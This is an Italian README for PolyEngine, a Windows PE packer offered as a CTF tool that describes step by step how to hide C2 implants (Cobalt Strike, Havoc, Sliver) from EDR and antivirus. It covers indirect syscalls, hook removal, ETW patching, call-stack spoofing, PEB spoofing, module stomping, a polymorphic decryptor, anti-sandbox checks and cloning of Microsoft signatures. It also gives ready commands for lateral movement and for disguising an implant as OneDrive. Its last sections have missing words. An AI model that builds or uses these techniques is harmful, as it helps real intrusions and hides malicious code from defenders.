
PolyEngine è un packer PE evasivo progettato per sfide CTF e formazione di sicurezza Windows a basso livello. Si concentra sull'elusione delle euristiche EDR e AV attraverso uno stack stratificato di esecuzione in memoria e tecniche di offuscamento.
PolyEngine è un packer PE evasivo di livello di ricerca, progettato per sfide CTF e formazione sulla sicurezza Windows a basso livello. Si concentra sull'elusione delle euristiche EDR e AV attraverso una pila stratificata di tecniche di esecuzione in memoria e offuscamento.
Questo è un progetto secondario a cui sto lavorando da un po'. Ho usato Claude Code per implementare e correggere alcune delle tecniche che volevo implementare nel mio packer PE. Ci sono molti commenti sulle funzioni e su cosa fanno, dato che è stata una grande esperienza di apprendimento per me e Claude lo fa perfettamente (io sono scarso). Spero che aiuti alcune persone a imparare alcuni internals di Windows o a eludere alcuni AV e rilevamenti statici di soluzioni più avanzate quando si affrontano quei ProLabs 🏯.
🔥 Un grande ringraziamento a MalDevAcademy per tutti i materiali per crearlo e l'ispirazione.
🌩 Grazie a vx-underground per l'ispirazione tramite un tweet sciocco con un gatto stupido.
Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, competizioni CTF e uso educativo. L'uso contro sistemi senza autorizzazione esplicita è vietato. L'autore non si assume alcuna responsabilità per un uso improprio.
Ordine di compilazione: Prima lo Stub, poi il Builder. Lo Stub Release|x64 genera stub_v0.bin..stub_v3.bin; il Builder ne incorpora uno in .rsrc.
Assicurati che stub_v0.bin..stub_v3.bin siano nella directory di lavoro (o passa --stub).```
Builder.exe [OPTIONS]
Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable
Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]
Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above
Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).
Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
## Examples
Esempi pratici raggruppati per scenario. Ogni flag è opt-out (l'evasione è completamente ATTIVA per impostazione predefinita), quindi l'invocazione più semplice ottiene già l'intero stack.
<details>
<summary><b>Pacchettizzazione di base - EXE / DLL / shellcode</b></summary>
Impacchetta un EXE non gestito. Il builder rileva automaticamente l'intestazione `MZ` e instrada attraverso il percorso RunPE:```
Builder.exe implant.exe packed.exe
Pacchetta shellcode raw position-independent (Cobalt Strike .bin, msfvenom -f raw, ecc.). Nessun MZ → chiamata diretta nel buffer decompresso:```
Builder.exe beacon.bin packed.exe
Impacchetta una DLL e chiama il suo `DllMain` predefinito solo (nessuna esportazione):```
Builder.exe payload.dll packed.exe
Usa uno stub da una posizione non predefinita:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
</details>
<details>
<summary><b>Carichi utili DLL con export - Havoc / Sliver / beacon personalizzati</b></summary>
Chiama un export denominato dopo che `DllMain` è ritornata. La maggior parte degli implant C2 viene fornita come DLL con un singolo export di entry (ad es. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
Passa un argomento stringa all'esportazione (max 127 caratteri). Utile per payload che accettano una stringa di configurazione, un URL o un comando shell:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"
`--keep-alive` è richiesto per qualsiasi payload che avvii i propri thread - senza di esso il loader chiama `ExitProcess` e uccide il beacon.
</details>
<details>
<summary><b>Implanti a lunga durata (C2 beacon)</b></summary>
Cobalt Strike / Sliver / Havoc avviano tutti un thread beacon e tornano. Il thread loader deve terminare senza abbattere il processo:```
Builder.exe beacon.exe packed.exe --keep-alive
Builder.exe beacon.bin packed.exe --keep-alive
Builder.exe demon.dll packed.exe --export Start --keep-alive
Lo stub del decryptor è nascosto all'interno della sezione .text di una DLL benigna di Windows. Scegli il preset i cui moduli caricati appaiono più legittimi per il contesto target:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
`PRINT` (predefinito) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Comune nella maggior parte delle workstation.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Adatto per un payload che già necessita del caricamento delle API di rete.
`RANDOM` - tre indici casuali dall'intero pool (incluso `bcrypt.dll`, idx 9).
Passaggio da `LoadLibraryW` stomping a `NtCreateSection`+`NtMapViewOfSection` overloading (la DLL non entra mai in `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
Ripristina i byte .text puliti per ntdll, kernel32, kernelbase da \KnownDlls\ su qualsiasi hook inline EDR. HellsHall bypassa già gli hook sensibili di Nt*; --unhook è necessario solo quando il payload stesso chiama API Win32 hookate (es. LoadLibrary, CreateProcess):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
</details>
<details>
<summary><b>PEB spoofing - mascheramento del processo</b></summary>
Sovrascrivi il nome di spoof scelto automaticamente. Scegli qualcosa che si adatti al processo padre / contesto di avvio (macro di Office → `RuntimeBroker.exe` sembra strano, `WmiPrvSE.exe` si mimetizza meglio):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
Ritardo del martello più lungo contro sandbox pazienti che eseguono per decine di secondi prima di giudicare:``` Builder.exe implant.exe packed.exe --hammer-s 10
Soglia di uptime più alta - esegui solo se la macchina è stata accesa per almeno 30 minuti (la maggior parte delle sandbox genera una VM fresca per campione):```
Builder.exe implant.exe packed.exe --uptime-min 30
Rilevamento più stretto del sleep-forwarding (sonno più breve, più difficile da fast-forward senza errori osservabili):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
Nome semaforo personalizzato per il controllo exec-control (evita conflitti con un altro campione che utilizza il default `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
Impila tutto per un profilo paranoico:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
</details>
<details>
<summary><b>Disabilitare le funzionalità per debug / lavoro di laboratorio</b></summary>
Quando si itera in un debugger, il callback TLS e i controlli del debugger si attivano immediatamente. Disabilitare entrambi per collegarsi liberamente:```
Builder.exe implant.exe packed.exe --disable tls,debugger
Salta ogni controllo sandbox (mantiene ancora le funzionalità OPSEC attive - ETW patch, PEB spoof, call-stack spoof):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
Stessa cosa, più breve:```
Builder.exe implant.exe packed.exe --disable all
DLL beacon di Cobalt Strike, host a tema rete, evasione completa, nome mutex personalizzato:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
Havoc Demon shellcode, overloading invece di stomping, ritardo hammer più lungo:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
Stage-2 EXE per un CTF dove controlli il trigger e non hai bisogno di anti-debug:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
DLL helper per movimento laterale con un argomento di percorso:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
Impianto a lungo termine mascherato da binario comune di Microsoft, stack di evasione completo:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
Esempio impacchettato con un certificato autofirmato reale e identità VERSIONINFO corrispondente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
Solo Visual Studio 2022 (MSVC v143), Release|x64. Apri PolyEngine.sln.
L'ordine di compilazione è importante:
x64/Release/stub_v0.bin … stub_v3.bin (POLY_VARIANT=0..3)Builder/x64/Release/Builder.exe (o OutDir della soluzione)Ogni stub_v*.bin è un PE con solo linker entry EntryPoint (nessun CRT). Le varianti differiscono nell'ordine delle fasi OPSEC e nella disposizione decoy/isola; HellsHall/Moonwalk rimangono condivisi. Builder ne sceglie uno a caso dalla CWD (o tramite --stub), esegue StubMorph, quindi incorpora il payload sotto un ID RT_RCDATA per build.
MASM: Stub.vcxproj → HellsHall.asm; Builder → Engine/DecryptorStub.asm. Nessun CMake, nessun Makefile.
Per aggiungere un nuovo hash API: calcola Djb2HashA("ApiName") (stesso algoritmo di ApiHashing.cpp), aggiungi un globale g_Hash_* in ApiHashing.h, inizializzalo in ApiHashing_InitHashes().
Tre componenti che implementano una pipeline pack → encrypt → inject: Builder impacchetta il PE/shellcode in input, Engine (libreria condivisa) fornisce primitive di crittografia/compressione/mutazione, Stub è l'esecutore runtime incorporato nel PE di output.
Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)
</details>
---
## Tecniche di Evasione
<details>
<summary><b>Varianti del Loader — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>
La versione stub|x64 compila **quattro** loader tramite MSBuild (`POLY_VARIANT=0..3`, `IntDir` separati). Ogni binario ha un diverso ordine delle fasi OPSEC e dimensioni decoy/island per variante (`PolyIslands.c`), pertanto gli hash statici divergono. Condivisi e **mai** derivati per variante: `HellsHall.asm`, layout dati di SilentMoonwalk (`g_SpoofSyntheticStack`), marcatori TLS/ResID.
| Variante | Ordine `Loader_OpsecPhase` |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |
Il builder senza `--stub` sceglie casualmente tra `stub_v0.bin`..`stub_v3.bin` nella CWD (`CryptGenRandom`). `--stub <path>` forza un file specifico.
</details>
<details>
<summary><b>StubMorph al momento del packaging</b></summary>
Dopo le patch dei marcatori TLS/ResID e prima di scrivere il PE in output, `StubMorph_Apply` (`Engine/StubMorph.c`) muta l'immagine del loader scelta in-place:
- `TimeDateStamp` plausibile preso da **[ora−5anni, ora]** — un DWORD completamente casuale potrebbe cadere nel futuro, che è un indicatore euristico
- nomi di sezioni basati sul profilo del toolchain (stile MSVC / MinGW / Delphi / NSIS, scelti per build; salta `.rsrc`, `.reloc`, `.tls`, `.CRT`) — nomi casuali di 8 caratteri attiverebbero le euristiche dei packer stile UPX
- cancella `IMAGE_DIRECTORY_ENTRY_DEBUG` + checksum PE (ricalcolato successivamente se `--pfx`)
- riscrive i pad delle isole POLY (`50 4C 59 A0` … marcatori `AF` in `PolyIslands.c`, inclusa l'isola `g_PolyDecoy`) con byte casuali della **stessa lunghezza**, poi randomizza i marcatori stessi — nessun pattern `PLY` o contenuto decoy fisso sopravvive nel PE in output; nessuna crescita del PE, nessun fixup di relocation
Non tocca HellsHall, le variabili globali di spoof, o i marcatori usati dalle patch TLS/ResID.
</details>
<details>
<summary><b>Syscall Indiretti — HellsHall</b></summary>
Tutte le operazioni NT sensibili (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, ecc.) passano attraverso syscall indiretti anziché gli stub in user-mode hookati nella ntdll del processo:
1. All'avvio, `Syscalls_Init()` analizza la Directory delle Esportazioni della ntdll del processo e raccoglie l'RVA di ogni funzione `Zw*` in una tabella piatta.
2. Gli SSN sono derivati tramite **ordinamento per RVA** (variante HellsGate/FreshyCalls): tutti gli RVA delle `Zw*` vengono ordinati; l'indice ordinato == SSN. Agnostico agli hook per progettazione — funziona anche se gli hook EDR hanno riscritto i prologhi delle funzioni, poiché gli hook non riordinano le esportazioni.
3. Un trampolino `syscall; ret` (`0F 05 C3`) viene localizzato all'interno della sezione `.text` della ntdll del processo. La sequenza di 3 byte è la coda standard di ogni stub `Nt*`. Gli hook inline in user-mode degli EDR mirano al *punto di ingresso* delle funzioni `Nt*` esportate (primi 5–15 byte) — mai all'istruzione syscall alla fine dello stub, perché patchare il centro di uno stub ne romperebbe la semantica. I byte in qualsiasi sito corrispondente sono quindi non modificati, identici a un mapping pulito di `\KnownDlls\`, e risiedono in memoria MEM_IMAGE supportata da `C:\Windows\System32\ntdll.dll` su disco. `g_CleanTrampoline` punta direttamente lì — nessun mapping secondario di ntdll, nessuna copia MEM_PRIVATE.
4. Tutti i syscall saltano a `g_CleanTrampoline` — gli hook EDR ai punti di ingresso delle Nt* esportate vengono bypassati. Dal punto di vista di un ETW che esamina lo stack lato kernel, il frame foglia atterra già all'interno di `ntdll.dll` (nessun IOC di "syscall non supportato").
</details>
<details>
<summary><b>Disinnesco Hook in Userland — <code>--unhook</code></b></summary>
Passaggio opzionale eseguito una volta dopo `Syscalls_Init()` e prima di qualsiasi syscall rilevante per il payload. Per ciascuna di `ntdll`, `kernel32`, `kernelbase`:
1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — byte immagine puliti (la stessa sezione condivisa che il loader ha mappato originariamente, prima che qualsiasi EDR potesse installare hook).
2. `memcmp` pagina per pagina del `.text` attivo contro la copia pulita.
3. Dove i byte differiscono (= hook inline EDR): `NtProtect RX→RW`, `memcpy` byte puliti sull'hook, `NtProtect RW→RX`.
4. Smappa e chiudi.
Questo ripristina la semantica normale di `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` per qualsiasi successiva chiamata Win32 (camminate PEB, `LoadLibrary`, ecc.). Saltato quando `--unhook` è omesso — HellsHall da solo bypassa già tutti gli hook sensibili `Nt*`, quindi il disinnesco è opzionale (è un'azione più pesante con un piccolo rischio di rompere layout di hook insoliti).
</details>
<details>
<summary><b>Spoofing dello Stack di Chiamata — Pivot RSP di SilentMoonwalk</b></summary>
Gli EDR monitorano lo stack di chiamata del thread nel momento in cui viene emesso un syscall per verificare che la catena del chiamante sia legittima. PolyEngine sconfigge questo con un **pivot RSP stile SilentMoonwalk** — nessun breakpoint hardware, nessun handler VEH, nessuna eccezione:
1. `StackSpoof_Init()` scansiona il `.text` di ntdll (e qualsiasi altra sezione `IMAGE_SCN_MEM_EXECUTE`) alla ricerca di due gadget:
- **Gadget 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) all'interno di una funzione il cui `UNWIND_INFO` pubblicizza un delta alloc `imm8` corrispondente. Vincolato a `imm8 < 0x20` affinché la catena non collida con argomenti stack passati in avanti.
- **Gadget 2** — `jmp rbx` (`FF E3`), localizzato in qualsiasi sezione eseguibile tramite scansione byte grezza, ma accettato solo se il sito corrispondente si trova all'interno di una `RUNTIME_FUNCTION` il cui `UNWIND_INFO` viene analizzato correttamente. L'`allocDelta` della funzione determina dove `RtlUserThreadStart` viene piantato nello stack sintetico, quindi un gadget senza una funzione runtime corrispondente romperebbe la catena visibile all'EDR. Saltare nel mezzo di un'istruzione più lunga è accettabile — la CPU decodifica `FF E3` dall'indirizzo del gadget indipendentemente dal byte precedente.
2. Uno `g_SpoofSyntheticStack[32]` statico è disposto in modo che il `ret` del trampolino percorra gadget1 → gadget2 → di nuovo al punto di continuazione del loader, con `RtlUserThreadStart` piantato più in basso come apparente radice del thread.
3. Ogni chiamata a `HellsHallSyscall` (quando lo spoofing è abilitato) esegue `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`. Il kernel vede un RSP che punta allo stack sintetico, ancorato in codice ntdll legittimo.
4. Gli argomenti syscall basati sullo stack (5..10) vengono inoltrati dal frame del chiamante allo stack sintetico agli offset `0x28..0x50` *prima* del pivot — senza questo, il kernel leggerebbe indirizzi di gadget come argomenti e restituirebbe `STATUS_ACCESS_VIOLATION`.
5. Dopo il syscall, il `jmp rbx` del gadget2 atterra su `AfterJmpPoint`, che ripristina RSP da `g_SpoofSavedRsp`, rimuove `rbx` e ritorna al loader.
6. `StackSpoof_Cleanup()` cancella `g_SpoofEnabled` in modo che i thread propri del payload vedano indirizzi di ritorno reali.
</details>
<details>
<summary><b>Module Stomping / Module Overloading</b></summary>
Invece di `VirtualAlloc(RWX)`, il decryptor polimorfo viene eseguito all'interno della sezione `.text` di una DLL Windows caricata legittimamente. Non viene mai allocata memoria RWX.
**Stomping (predefinito — `LoadLibraryW`, la DLL appare in PEB LDR):**
1. `ModuleStomp_Alloc()` itera le tre DLL selezionate da `--preset`. Gli indici delle DLL sono memorizzati in `.rsrc` e risolti da `g_DllPool` a runtime.
2. Viene scelta la prima DLL con una sezione eseguibile abbastanza grande per lo stub decryptor.
3. I byte originali del `.text` vengono salvati in un buffer `RW` privato prima di toccare la sezione.
4. Lo stub decryptor (solo) viene copiato nella regione sovrascritta. Il payload blob rimane in un'allocazione `RW` **separata** (`pEncryptedPayload`).
5. `NtProtect RW → RX`: la regione sovrascritta diventa eseguibile. L'allocazione del payload rimane `RW` — il decryptor riceve il suo indirizzo in `RCX` (primo argomento ABI x64 di Windows).
6. Il decryptor viene eseguito, decifra `pEncryptedPayload` in-place. `NtProtect RX → RW` immediatamente dopo il ritorno.
7. La regione viene azzerata, i byte originali vengono ripristinati, la sezione viene impostata di nuovo a `PAGE_EXECUTE_READ`.
**Overloading (`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`, NON in PEB LDR):**
- Stesso pattern save/restore e invariante no-RWX dello stomping.
- La DLL viene mappata direttamente dal file handle grezzo — non appare mai in `PEB.Ldr`, sconfiggendo gli strumenti che enumerano i moduli caricati.
- Dopo l'uso: `NtUnmapViewOfSection` scarta le pagine private COW, rimuovendo ogni traccia della scrittura.
**Risultato in entrambi i casi:** la regione di memoria è `MEM_IMAGE` supportata dal file della DLL su disco — gli scanner di memoria vedono un mapping di immagine legittimo, non una regione anonima di `VirtualAlloc`.
</details>
<details>
<summary><b>Decryptor Polimorfo — MutationEngine</b></summary>
Ogni build produce uno stub decryptor ASM x64 unico di 34 byte, mai identico a qualsiasi build precedente:
- **Inserimento NOP / junk** — istruzioni NOP/junk casuali tra le istruzioni funzionali, prese da un pool di 22 voci che coprono RBX/R10/R11/R12/R13 (PUSH/POP, XCHG, TEST, MOV self-copy)
- **Scambio di registri** — i registri funzionali vengono riassegnati casualmente tra set equivalenti
- **Sostituzione di istruzioni** — ogni passo del cifrario emesso in una delle tre varianti semanticamente equivalenti (es. `xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **Varianti del contatore di ciclo** — `inc r9` randomizzato tra `inc r9`, `add r9,1`, `lea r9,[r9+1]`; confronto scambiato tra `cmp rdx,r9` e `cmp r9,rdx`
- **Permutazione dei blocchi** — 4 blocchi di setup indipendenti (azzeramento di RCX/RDX/R10/R11) riordinati tramite Fisher-Yates shuffle (24 ordinamenti possibili)
- **Scambio dell'ordine della chiave XOR** — il flag casuale `xorSwapped` inverte l'ordine di applicazione della chiave esterna; encryptor + decryptor rimangono sincronizzati tramite un bit di metadati
Il cifrario CompoundEncrypt (XOR→ROL→ADD→XOR su ogni byte) si mappa perfettamente al template decryptor a quattro istruzioni. Il MutationEngine emette una diversa combinazione di varianti per ogni passo, rendendo impraticabile il matching di firme statiche per il ciclo decryptor.
</details>
<details>
<summary><b>Stack di Cifratura</b></summary>
| Livello | Algoritmo | Sorgente della chiave |
|---|---|---|
| Esterno | XTEA-CTR (128-bit) | Base XOR derivata a runtime con sale `CryptGenRandom` per build |
| Interno | CompoundEncrypt (XOR+ROL+ADD+XOR) | Chiave composta seedata con `__rdtsc` per build, incorporata nello stub decryptor |
**Derivazione della chiave XTEA esterna** (`Xtea_DeriveKey`): la chiave a 128 bit viene costruita a runtime da operazioni aritmetiche su costanti di numeri irrazionali (φ, √2, √3, √5, √10 scalati a 32 bit). Tutte e cinque le costanti seed sono a loro volta divise in coppie XOR `volatile` (`A ^ B`) in modo che nessuna sequenza di byte irrazionale in chiaro appaia in `.rdata` — il recupero richiede l'esecuzione della derivazione. Nessun blob di chiave contiguo di 16 byte esiste nel binario. La chiave finale è `derived_base XOR key_salt`, dove `key_salt` è 16 byte di output di `CryptGenRandom` memorizzati in `.rsrc` — ogni build produce un flusso di chiave unico.
**Magic dinamico (nessun ancoraggio YARA statico):** il blocco di metadati di `.rsrc` termina con `magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]`. Lo Stub individua il blocco scansionando all'indietro e verificando questo invariante — non esiste `0xDEADBEEF` o altra costante fissa su cui una regola YARA possa ancorarsi.
</details>
<details>
<summary><b>Callback TLS Anti-Debug</b></summary>
Il caricatore di Windows invoca i callback TLS da `.CRT$XLB` **prima che `AddressOfEntryPoint`** riceva il controllo — prima che qualsiasi payload sia in memoria. In quel momento l'ambiente viene sondato con zero dipendenze da API esterne (solo intrinsic CPU e letture dirette del PEB):
| Controllo | Campo PEB / Heap | Condizione di rilevamento |
|---|---|---|
| BeingDebugged | `PEB+0x002` | qualsiasi debugger Win32 collegato |
| NtGlobalFlag | `PEB+0xBC` (x64) | bit `0x70` impostati da ntdll sotto debugger |
| Heap Flags | `ProcessHeap+0x70` (x64) | valore != 2 (HEAP_GROWABLE) |
| Heap ForceFlags | `ProcessHeap+0x74` (x64) | valore != 0 |
In caso di rilevamento: `__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — bypassa tutti gli handler di eccezioni in user-mode (VEH, SEH, UnhandledExceptionFilter). WER registra `STATUS_STACK_BUFFER_OVERRUN (c0000409)`, indistinguibile da un crash legittimo di sicurezza della memoria.
Può essere disabilitato al momento della build con `--disable tls`. Il builder corregge un marker di 5 byte nello stub del loader per neutralizzare il callback prima dell'incorporamento.
</details>
<details>
<summary><b>Patch ETW</b></summary>
`Opsec_PatchEtw()` scrive un no-op di 3 byte nei primi byte di `EtwEventWrite` nella ntdll del processo:```asm
; After patch:
33 C0 xor eax, eax ; return STATUS_SUCCESS (0)
C3 ret
Opsec_SpoofPeb() sovrascrive:
PEB.ImageBaseFileName — nome del processo mostrato da Process Hacker, ecc.PEB.ImagePathName e PEB.CommandLine — percorso completo visibile nelle liste dei processiPEB.BeingDebugged = 0, PEB.NtGlobalFlag = 0 — flag anti-debugProcessHeap.Flags = 2, ProcessHeap.ForceFlags = 0 — flag di debug dell'heapIl nome falso del processo è impostato tramite --spoof-name. Se omesso, Builder sceglie casualmente da un pool di 9 processi comuni di System32 (RuntimeBroker.exe, SgrmBroker.exe, WmiPrvSE.exe, , , , , , ) usando .
Evasion_RunChecks() viene eseguito prima di qualsiasi inizializzazione di syscall e utilizza solo il layer Win32 API. I controlli sono attivabili/disattivabili singolarmente tramite --disable.
Controlli hard — un singolo positivo causa l'uscita immediata:
Tutti i nomi delle API Windows sono sostituiti in fase di compilazione con hash Djb2 precalcolati memorizzati come variabili globali g_Hash_*. GetProcAddressH() percorre la directory delle esportazioni e calcola l'hash di ogni nome esportato finché non trova una corrispondenza — nessuna stringa API in chiaro appare nella tabella delle importazioni o in .data.
--clone-metaPassaggio post-build opzionale Fase 11 che copia tre attributi estetici da un PE donatore nell'output già costruito. Viene eseguito dopo BuildInfectedPE (che riscrive completamente .rsrc — qualsiasi cosa scritta in precedenza andrebbe persa) e prima di SignPeWithPfx (che sovrascrive la directory del certificato con una firma reale se è fornito anche --pfx).
CloneMeta_CopyResources carica il donatore come file di dati flat (LOAD_LIBRARY_AS_DATAFILE — deliberatamente senza LOAD_LIBRARY_AS_IMAGE_RESOURCE, che attiva il reindirizzamento delle risorse MUI sui file di sistema e indirizza le ricerche di RT_GROUP_ICON verso un .mui satellite per la lingua che non contiene icone). RT_VERSION viene enumerato tramite EnumResourceLanguagesA per raccogliere tutti gli ID lingua; ogni variante viene scritta con . Per , viene selezionato il gruppo con l'ID intero più basso (quello che Explorer usa per l'icona della shell per convenzione). non viene utilizzato per la ricerca effettiva dei dati — fallisce con (1813) su handle persino per risorse che ha appena trovato, perché il percorso di fallback è danneggiato in modalità datafile. Invece, estrae l'esatto memorizzato nel donatore, quindi lo usa direttamente. Tutte le chiamate aprono il PE di output con — il flag di unione preserva la voce payload esistente dalla Fase 10.
--pfxPassaggio post-build opzionale. Quando viene fornito --pfx, Builder firma l'output impacchettato tramite mssign32!SignerSignEx2 (risolto a runtime — nessuna dipendenza a tempo di collegamento mssign32, nessun signtool.exe sulla workstation dell'operatore). La firma viene eseguita come Fase 9 dopo che BuildInfectedPE ritorna, perché scrivere la firma riscrive IMAGE_DIRECTORY_ENTRY_SECURITY e ricalcola il checksum PE; qualsiasi modifica successiva delle risorse invaliderebbe la firma.
Il PFX viene importato con PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES. NO_PERSIST_KEY mantiene la chiave privata residente solo in memoria — nessun file contenitore di chiavi scritto sotto %APPDATA%\Microsoft\Crypto, che altrimenti legherebbe la workstation dell'operatore al campione firmato. PREFER_CNG_KSP è richiesto per PFX moderni (PowerShell , OpenSSL ≥3.x); senza di esso fallisce con (). Il digest è SHA-256.
Il payload della risorsa non è fissato all'ID 101. In fase di impacchettamento Builder:
WORD RT_RCDATA tramite CryptGenRandom nell'intervallo 0x0100..0x7EFFg_PayloadResIdMarker[4..5] nello stub loader (tag {0xB1,0x0B,0x1D,0xE0} in Payload.c; predefinito non modificato = 101)StubMorph_Apply sull'immagine dello stubUpdateResource(RT_RCDATA, id) = [blob crittografato XTEA | PAYLOAD_METADATA (280 byte)]A runtime Stub legge il marker e chiama FindResourceW con quell'ID. Il blocco dei metadati viene localizzato eseguendo una scansione all'indietro a partire dalla fine della risorsa (fino a 128 byte, tollerando il padding di allineamento di UpdateResource) e verificando magic == XOR(key_salt[0..3]).
